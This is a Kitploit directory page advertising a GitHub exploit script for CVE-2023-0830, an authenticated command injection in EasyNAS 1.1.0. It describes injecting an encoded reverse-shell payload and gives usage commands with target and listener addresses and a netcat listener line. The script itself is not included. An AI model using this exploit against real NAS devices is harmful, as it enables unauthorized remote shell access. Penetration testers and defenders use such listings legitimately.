Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-0830 — Exploit for EasyNAS version 1.1.0. The vulnerability exploited is a command injection flaw, which requires authentication. | Kitploit
Tools/GitHubGitHub/xbz0n/cve-2023-0830
Payload GenerationExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubxbz0n/cve-2023-0830

CVE-2023-0830

Exploit for EasyNAS version 1.1.0. The vulnerability exploited is a command injection flaw, which requires authentication.

View Repository
111 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-0830: EasyNAS 1.1.0 Authenticated OS Command Injection Exploit

This Python script is a powerful exploit for EasyNAS version 1.1.0 with enhanced functionality, including an integrated listener. The vulnerability exploited is a command injection flaw, which requires authentication.

The script establishes a session with the target server, then sends a login request with user-provided credentials. Upon successful authentication, the script constructs a payload that, when executed, opens a reverse shell connection to a user-specified IP and port. This payload is URL and Base64 encoded and then injected into the backup.pl file on the server via a crafted GET request.

CVE: CVE-2023-0830

Exploit Author

Ivan Spiridonov (xbz0n) https://xbz0n.sh

Vendor home page

https://www.easynas.org

Features

  • Integrated reverse shell listener - no need for a separate netcat process
  • Automatic IP address detection for listener
  • Option to use different shell types (bash, sh, python)
  • Support for both HTTP and HTTPS
  • Support for external listeners

Usage

Basic usage with integrated listener (recommended):

root@kitploit:~
python3 CVE-2023-0830-v2.py 192.168.0.108:1443 admin admin

Using external listener (start nc -lvnp 4444 first):

root@kitploit:~
python3 CVE-2023-0830-v2.py 192.168.0.108:1443 admin admin --mode reverse --lhost 192.168.0.100 --lport 4444

Options:

root@kitploit:~
--mode {shell,reverse}    Exploitation mode: shell (integrated reverse shell) or reverse (external listener)
--lhost IP_ADDRESS        IP address for the reverse shell listener (auto-detected by default)
--lport PORT              Port for the reverse shell listener (default: 4444)
--protocol {http,https}   Protocol to use (default: https)
--verbose                 Enable verbose output
--shell {bash,sh,python}  Specify the shell type to use with integrated listener (default: bash)

Dependencies

  • Python 3
  • Requests library

Disclaimer

This script is for educational purposes and authorized penetration testing only. Always seek explicit permission before running any penetration tests against a network or system.

Please use responsibly.

Download Tool